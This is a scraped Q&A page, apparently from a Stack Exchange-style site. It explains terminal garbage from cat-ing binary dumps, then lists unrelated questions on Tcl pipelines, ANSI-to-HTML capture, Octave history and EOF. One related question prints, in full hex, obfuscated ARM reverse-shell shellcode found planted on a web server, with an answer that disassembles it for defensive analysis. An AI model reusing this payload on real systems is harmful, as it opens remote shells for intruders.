Imaginary Situation: You’ve used mysqldump to create a backup of a mysql database. This database has columns that are blobs. That means your “text” dump files contains both strings and binary data (binary data stored as strings?)
If you cat this file to the screen
$ cat dump.mysql
you’ll often get unexpected results. The terminal will start beeping, and then the output finishes scrolling by you’ll often have garbage chacters entered on your terminal as through you’d typed them, and sometimes your prompts and anything you type will be garbage characters.
Why does this happen? Put another way, I think I’m looking for an overview of what’s actually happening when you store binary strings into a file, and when you cat those files, and when the results of the cat are reported to the terminal, and any other steps I’m missing.
When you cat a binary file you can inadvertently send control characters to the terminal.
If a terminal application wants to send a beep for example, it sends the following binary to the terminal: 0x007 (SYS V only).
The same goes for colors, cursor position and others.
Start here: http://www.faqs.org/docs/Linux-HOWTO/Keyboard-and-Console-HOWTO.html
In particular, sections 3 (Console generalities) and section 4 (reseting your terminal).
It covers a bit more than you're talking about, but should give you what you need.
When you cat the binary data to the screen, the terminal tries to interpret that binary data into ASCII (or UTF). Some characters are capable of controlling the terminal. For example,
echo "^[[0;31;40m" # The first ^[ comes from pressing Ctrl+v, Esc
Will turn the background black and the foreground red. Use reset to return your terminal to normal.
Related
Today I was blown away by the slowness of my website, so I decided to look what was wrong. Looked at apache2, server bandwidth, incorrect configs, couldn't find anything. So on a whim I opened a random file I didn't know existed, at least I didn't put it there.
This is the code I found in the file:
\x01\x10\x8f\xe2\x11\xff\x2f\xe1\x11\xa1\x8a\x78\x01\x3a\x8a\x70\x02\x21\x08\x1c\x01\x21\x92\x1a\x0f\x02\x19\x37\x01\xdf\x06\x1c\x0b\xa1\x02\x23\x0b\x80\x10\x22\x02\x37\x01\xdf\x3e\x27\x01\x37\xc8\x21\x30\x1c\x01\xdf\x01\x39\xfb\xd5\x07\xa0\x92\x1a\xc2\x71\x05\xb4\x69\x46\x0b\x27\x01\xdf\x01\x21\x08\x1c\x01\xdf\xc0\x46\xff\xff\x7b\xb4\xb9\x35\x5a\x13\x2f\x62\x69\x6e\x2f\x73\x68\x58\xff\xff\xc0\x46\xef\xbe\xad\xde
Can anyone push me in the right direction..? It looks like some malicious shell code. I've tried to decode it but couldn't figure out how it was encoded.
Thanks!
I have tried Ascii to text, binary to text, base64 to text. Only useful bit of text I found was /bin/ when I tried decoding in from ascii to text.
It seems to be ARM reverse shell bin/sh shellcode.
Analysis
If the first nibble of every fourth byte is "e", then it is likely to be ARM code. This is because of conditional execution (always execute). In this case, the fourth and eight bytes are e2 and e1.
To convert into an ELF file and look at the disassembly you can do:
$ arm-none-eabi-objcopy -I binary -O elf32-littlearm data.bin data.elf
$ arm-none-eabi-objdump -D data.elf
The first two instructions are in ARM mode, that does a jump into thumb mode starting at adress 8.
0: e28f1001 add r1, pc, #1
4: e12fff11 bx r1
You can look at the thumb code with
arm-none-eabi-objdump -M force-thumb -D data.elf
The thumb code is then issuing some syscalls, and modifying itself to patch null bytes and add some obfuscation, to make our life harder.
I searched for the syscalls and some of the constants and found this: https://packetstormsecurity.com/files/151392/Linux-ARM-Reverse-Shell-Shellcode.html Not exactly the same, but very similar. The code you provided has some obfuscation added, and the IP-address/port changed.
How can i use write ('w') and read ('r') access while using command pipeline in open command in TCL.
when i do something like :
set f1 [open "| ls -l" w]
it returns a file descriptor to write to , say file1.
Now I am confused how can I put this file descriptor to my use.
PS : My example might be wrong, and in that case it'd be ideal if answer includes a programming example so that it'll be more clear.
Thanks
In general, the key things you can do with a channel are write to it (using puts), read from it (using gets and read), and close it. Obviously, you can only write to it if it is writable, and only read from it if it is readable.
When you write to a channel that is implemented as a pipeline, you send data to the program on the other end of the pipe; that's usually consuming it as its standard input. Not all programs do that; ls is one of the ones that completely ignores its standard input.
But the other thing you can do, as I said above, is close the channel. When you close a pipeline, Tcl waits for all the subprocesses to terminate (if they haven't already) and collects their standard error output, which becomes an error message from close if there is anything. (The errors are just like those you can get from calling exec; the underlying machinery is shared.)
There's no real point in running ls in a pure writable pipeline, at least not unless you redirect its output. Its whole purpose is to produce output (the sorted list of files, together with extra details with the -l option). If you want to get the output, you'll need a readable channel (readable from the perspective of Tcl): open "| ls -l" r. Then you'll be able to use gets $f1 to read a line from the subprocess.
But since ls is entirely non-interactive and almost always has a very quick running time (unless your directories are huge or you pass the options to enable recursion), you might as well just use exec. This does not apply to other programs. Not necessarily anyway; you need to understand what's going on.
If you want to experiment with pipelines, try using sort -u as the subprocess. That takes input and produces output, and exhibits all sorts of annoying behaviour along the way! Understanding how to work with it will teach you a lot about how program automation can be tricky despite it really being very simple.
I had a need to capture the colored output of a long-running command line program, so I could easily share it with colleagues. Specifically, I'm running vagrant up, which generates colorful and useful output and I need to save this in a convenient format. My best solution so far uses two programs, aha and script, which are available as mainstream packages.
aha takes ANSI escape sequences and converts them to HTML markup. script fools your program into thinking it's outputting to your screen and not STDOUT, which normally disables color for many programs
I run my command in two steps:
script -q -c "vagrant up" temp.txt (-q removes status messages and -c tells script to run the command)
cat temp.txt | aha --black > output.htm (the --black flag makes the HTML background dark)
I'm pretty happy so far, but maybe this can be combined into one line? Any thoughts? Or better commands I could use? I'm aware the python ansi2html, but this seemed easier.
I used to recover in Octave the last command beginning with a certain string by typing it and then pressing the up arrow key (likewise for Matlab). This behavior is not reproduced in my current Octave's command prompt (the raw one, as executed from a terminal). Meaning, I type something, press up, and the very last command shows up, no matter if a previous one starting with that string is in the stack.
Any way of configuring Octave to reproduce such behavior? It's really useful.
UPDATE
1. Octave version 3.8.1
2. a way to implement it is to press Ctrl-r, and then type (not really the same effect, as it searches for a command containing -not starting with- that string.)
This estrange behavior has been solved here, it's just a question of starting Octave without the -f option, which prevents loading the initialization files, including ~/.inputrc, responsible for the history-search-backward behavior.
is EOF a special byte sequence that lies in the end of every file, or is it kinda exception(interrupt) that is notified by the kernel?
Long ago on DOS machines it used to be indicated by ^Z, but nowadays it's the kernel reaching the end of the file and notifying the program when it tries to read further.
I've used the ASCII EOF character to separate data files into a human-readable header followed by binary data. This allowed everything the mechanical engineers needed from a test to be kept in one file, while keeping it small enough to fit a floppy. (This was years ago!) The EOF character told most text display programs to stop. Anyone wanting a quick peek at the file header could just use a "print" command (is that what it was?) in a command shell.
Mostly these days, the EOF character isn't used in files, at least in the small part of the world I inhabit. Practically none of the ASCII control characters have any use any more, beside NUL, ESC and CR/LF.
EOF may serve some purpose in some streaming protocols, but that's outside my expertise so I leave it to others to address that.
EOF is a special code returned by the C stdio library to denote that there's no more data to be read from a FILE. Different operating systems have their own way of recording the size/end of a file and their own way of returning that to a user program, which will be translated into an EOF return code by the C standard library implementation on that operating system.